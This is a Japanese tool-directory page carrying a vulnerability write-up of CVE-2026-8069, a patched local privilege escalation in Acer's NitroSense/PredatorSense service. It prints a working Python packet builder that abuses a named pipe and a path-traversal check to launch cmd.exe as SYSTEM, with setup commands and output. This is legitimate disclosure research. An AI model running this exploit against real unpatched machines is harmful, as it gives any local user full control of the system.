Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-8069 — CVE-2026-8069の技術解説と概念実証。Acer NitroSenseおよびPredatorSenseサービスにおけるローカル権限昇格であり、名前付きパイプを悪用してSYSTEMとして任意のコードを実行するものです。 | Kitploit
ツール/GitHubGitHub/s1eezer/cve-2026-8069
特権昇格エクスプロイトフレームワーク脆弱性分析エクスプロイトリバースエンジニアリングバイナリ解析
GitHubs1eezer/cve-2026-8069

CVE-2026-8069

CVE-2026-8069の技術解説と概念実証。Acer NitroSenseおよびPredatorSenseサービスにおけるローカル権限昇格であり、名前付きパイプを悪用してSYSTEMとして任意のコードを実行するものです。

リポジトリを見る
191ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Acerの名前付きパイプからNT AUTHORITY\SYSTEMへ: CVE-2026-8069

Acer NitroSenseおよびPredatorSense 3.xは、PSSvcというWindowsサービスをインストールし、ローカルユーザーにカスタム名前付きパイププロトコルを公開していました。あるプロトコルコマンドは、呼び出し元が制御する実行可能ファイルのパスを受け入れ、winlogon.exeのトークンを複製し、その実行可能ファイルをNT AUTHORITY\SYSTEMとして起動していました。

脆弱なサービスにおけるパス制限は、部分文字列テストでした。サービスディレクトリ内で始まり、その後..\コンポーネントを使用するパスはテストを通過しましたが、別の場所に解決されました。パイプの緩いアクセス制御と呼び出し元の認可の欠如と組み合わさることで、標準的なローカルユーザーがSYSTEMプロセスを取得できるようになりました。

AcerはCVE-2026-8069を割り当て、修正版を公開し、セキュリティアドバイザリでフラデツ・クラロヴェー大学のArtem Domarev氏をクレジットしました。

この記事は、プロセス作成/LPEの経路に焦点を当てています。Acerのアドバイザリは任意のファイル削除についても説明していますが、これは今回の検証の範囲外でした。

この研究の方向性を選んだ理由

研究の方向性の選択は、SensePostのLeon Jacobs氏が公開したOEMソフトウェアの公開分析にも影響を受けました。その研究は、ASUS DriverHub、MSI Center、Acer Control Centre、Razer Synapse 4の脆弱性を文書化したものです(Jacobs, 2025)。ベンダー提供のハードウェアユーティリティが、意味のある未開拓の攻撃面を露出させ得るという考えを強化しました。Acer Control Centreを再調査するのではなく、調査を別のAcer製品ファミリーであるNitroSenseとPredatorSenseに拡張しました。

エグゼクティブサマリー

項目結果
CVECVE-2026-8069
テストした脆弱コンポーネントPSSvc.exe 3.1.3052.0、Acer Incorporatedによる署名
サービスIDLocalSystem
IPCエンドポイント\\.\pipe\predatorsense_service_namedpipe
脆弱なコマンド0x0007
必要な攻撃者のアクセスプログラムを実行できる認証済みローカルユーザー
ユーザー操作なし
結果NT AUTHORITY\SYSTEMとして任意の実行可能ファイルが起動
NVD CVSS v3.17.8 High — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
修正版PredatorSense 3.00.3198; NitroSense 3.01.3056

悪用チェーンは短いものです:

認証済みローカルユーザー
        │
        ▼
緩いアクセス制御のPSSvc名前付きパイプ
        │  カスタムコマンド 0x0007
        ▼
部分文字列のみのパスチェック
        │  service-dir\..\..\..\Windows\System32\cmd.exe
        ▼
アクティブセッションのwinlogon.exeトークンの複製
        │
        ▼
CreateProcessAsUserW → NT AUTHORITY\SYSTEM

バージョン番号に関する警告

公開されている表現には不整合があります。Acerのページでは、NitroSenseの「3.01.3052より前」のバージョンが影響を受けると述べていますが、この記事でテストしたベンダー署名済みのPSSvc.exeバージョン3.1.3052.0は明らかに脆弱です。同じページでは、NitroSense 3.01.3056が修正版として特定されています。NVDの適用範囲も3.01.3056まで(ただし含まない)に及びます。

PredatorSenseについては、Acerの影響を受けるバージョンの記述は3.00.3196の前で止まっていますが、記載されている修正版は3.00.3198であり、NVDは後者を上限として使用しています。

したがって、保守的な運用ルールは単純です。曖昧な「影響を受ける」という記述をパッチチェックとして使用しないでください。Acerが指定する修正版—PredatorSense 3.00.3198またはNitroSense 3.01.3056—またはそれ以降のモデル互換パッケージにアップグレードしてください。

テストした成果物

この問題は、オリジナルのNitroSenseパッケージで再現されました。

成果物SHA-256
NitroSense_V3.01.3052_MSFT_SIGNED_20230420.zip947FB7C62665875450AFA9C9E7919D2B061ED8197C11B28D64781F121B30C157
NitroSense.msi6F9D405B6D2ADF2992C4E071453AD2C919A6DD38A89A31EF96EAFE81C50A745C
インストール済みPSSvc.exe 3.1.3052.03BA836B6A5D95B55708E771B74F49098F58B096EF1F63C5CCAE355811E193A40
検証に使用したPoC31BC81140BAB64A8B0CB70ACC1C2CF3CA84A7B00015E5610AC075DC50DCB0163

PSSvc.exeのAuthenticode署名は正常に検証され、Acer Incorporatedにチェーンされました。MSIはPSSvcをLocalSystemとして実行される手動開始・独自プロセスサービスとしてインストールしました。

脆弱なパスを見つけた方法

1. 特権サービスから始める

NitroSenseパッケージは以下をインストールします:

SERVICE_NAME: PSSvc
DISPLAY_NAME: Predator Service
TYPE:         WIN32_OWN_PROCESS
START_TYPE:   DEMAND_START
ACCOUNT:      LocalSystem

SYSTEMサービスが自動的に脆弱というわけではありません。重要な質問は、低権限のプロセスが、呼び出し元が信頼されているという前提で設計された機能に到達できるかどうかです。

文字列分析により、IPCエンドポイントがすぐに明らかになりました:

\\.\pipe\predatorsense_service_namedpipe

2. 名前付きパイプのセキュリティ記述子を検査する

0x140014AD0で、サービスはパイプを構築し、明示的なセキュリティ記述子をCreateNamedPipeWに渡します:

D:(A;OICI;GA;;;BG)(D;OICI;GA;;;AN)(A;OICI;GRGWGX;;;AU)(A;OICI;GA;;;BA)

これは明示的に訂正する価値があります。脆弱なビルドはNULL記述子を渡しません。緩いDACLを作成します。

SID略語プリンシパルSDDLでの実効権限
BG組み込みのGuests全般アクセス
AN匿名全般アクセス拒否
AU認証済みユーザー全般読み取り、書き込み、実行
BA組み込みのAdministrators全般アクセス

AU ACEは、通常の認証済みユーザーがパイプを読み取りおよび書き込み用に開くのに十分です。サーバーはその後、クライアントを偽装して特権コマンドをディスパッチする前に認可判断を行うことはありません。

3. ワイヤーフォーマットを復元する

0x14000ABB0のクライアントスレッドは、メッセージを512バイトのバッファに読み取ります。最初の3バイトを16ビットのコマンド番号と8ビットの引数カウントとして解析します。各引数は長さプレフィックス付きです:

オフセット  サイズ  意味
0x00    2     コマンドID、リトルエンディアン
0x02    1     引数の数
0x03    4     引数0の長さ
0x07    n     引数0のバイト
...           繰り返しDWORD長さ+値

文字列引数はUTF-16LEです。整数引数はリトルエンディアンのDWORDです。ディスパッチャーは0x23未満のコマンドIDを受け入れ、それらを0x140052C90の35エントリの関数テーブルへのインデックスとして使用します。

コマンド0x0007のエントリは0x14000BFD0を指します。

4. コマンド0x0007を追跡する

セキュリティ関連の動作に簡略化すると、ハンドラーは次のようになります:

int command_07(parsed_arguments *args)
{
    wchar_t service_directory[MAX_PATH];
    wchar_t *requested_path = args->wide_string[0];
    uint32_t mode = args->dword[1];

    GetModuleFileNameW(NULL, service_directory, MAX_PATH);
    PathRemoveFileSpecW(service_directory);

    if (wcsstr(requested_path, service_directory) != NULL)
        return launch_with_selected_token(requested_path, mode);

    return 0;
}

wcsstrは、ある文字列が別の文字列内に存在するかどうかのみを答えます。パスを正規化したり、ドットセグメントを解決したり、ファイルを開いたり、最終オブジェクトが信頼されたディレクトリの下に残ることを証明したりしません。

サービスが以下にインストールされていると仮定します:

C:\Program Files\Acer\NitroSense_Service

次のパスはオフセット0にそのディレクトリを含むため、wcsstrは成功します:

C:\Program Files\Acer\NitroSense_Service\..\..\..\WINDOWS\System32\cmd.exe

Windowsはドットセグメントを以下に解決します:

C:\WINDOWS\System32\cmd.exe

これは古典的な正規化エラーです。検証はあるテキスト表現に対して実行されますが、機密操作はその正規化された意味を消費します。

5. トークンブランチを追跡する

0x1400091F0のプロセス起動ヘルパーには、2番目の引数が0x72(10進数114)の場合に特別なブランチがあります。それは:

  1. アクティブなコンソールセッションIDを取得します;
  2. アクティブユーザーのトークンを照会し、環境ブロックを作成します;
  3. CreateToolhelp32Snapshotでプロセスを列挙します;
  4. アクティブセッション内のwinlogon.exeを特定します;
  5. プロセスとそのトークンを開きます;
  6. トークンをプライマリトークンとして複製します;
  7. 複製したトークンを高整合性に設定します; そして
  8. 呼び出し元が指定したパスをwinsta0\defaultで起動します。

テストしたバイナリの重要な呼び出しサイトは次のとおりでした:

操作アドレス
CreateToolhelp32Snapshot0x140009298
OpenProcessToken0x140009346
DuplicateTokenEx0x1400093B0
CreateProcessAsUserW0x1400094BF / 0x1400094C7

つまり、コマンド0x0007は単にサービスに自身の信頼されたツールの1つを起動させるだけではありません。通常のユーザーがアクセスできるパイプに、一般的なSYSTEMトークンのプロセスランチャーを公開しています。

PoCの構築

必須のパケットビルダーは小さいものです:

import struct

def build_packet(command_id, *arguments):
    packet = struct.pack("<HB", command_id, len(arguments))
    for argument in arguments:
        if isinstance(argument, str):
            argument = argument.encode("utf-16-le")
        elif isinstance(argument, int):
            argument = struct.pack("<I", argument)
        packet += struct.pack("<I", len(argument)) + argument
    return packet

service_dir = r"C:\Program Files\Acer\NitroSense_Service"
target = service_dir + r"\..\..\..\WINDOWS\System32\cmd.exe"

# ハンドラーはパス、トークンモード、および追加の8つのスロットを期待します。
packet = build_packet(0x0007, target, 0x72, *([b"\x00" * 4] * 8))

完全な検証スクリプトは、CreateFileWでパイプを開き、メッセージモードを設定し、このパケットを送信し、サービスの応答をデコードします。ハードコーディングする代わりにインストールされたサービスパスを検出し、何かを送信する前に正規化されたターゲットをチェックします。

この記事で使用した完全なスクリプトは、acer_cve_2026_8069_poc.pyとして利用可能です。

再現

ステップ1: 脆弱なビルドをインストールする

ベンダーのSetup.exeはハードウェアチェックを実行し、プライベートなMSIプロパティを提供します。NitroSense.msiを抽出し、.NETブートストラッパーからそれらのプロパティを復元しました:

$arguments = @(
  '/i', 'C:\Lab\NitroSense.msi',
  'BOOTSTRATOR=1', 'ISDT=0', 'RGBKB=0', 'ICPU=0',
  'BRAND=0', 'ACER=1', 'BRANDNAME=Acer',
  'GPRODUCTNAME=NitroSense_Service',
  '/qn', '/norestart',
  '/l*v', 'C:\Lab\install.log'
)

Start-Process msiexec.exe -ArgumentList $arguments -Wait

これらのプロパティは、環境チェックに合格しないハードウェア上でブートストラッパーのインストールパスを再現します。

インストール後、ファイルバージョン、SHA-256、署名を検証し、手動開始サービスを起動しました:

sc.exe qc PSSvc
sc.exe start PSSvc

ステップ2: 標準のローカルアカウントを使用する

リクエストは、中整合性で実行されている標準の非管理者ローカルアカウントから送信されました。

ステップ3: コマンド0x0007をトリガーする

そのアカウントから:

py .\acer_cve_2026_8069_poc.py --exec-test --target cmd.exe

サービスは以下を返しました:

[PASS] Connected
[INFO] Sending CMD 0x0007: path='cmd.exe', mode=0x72
       Packet size: 227 bytes

Raw response: 010400000001000000
Return code: 1
ツールをダウンロード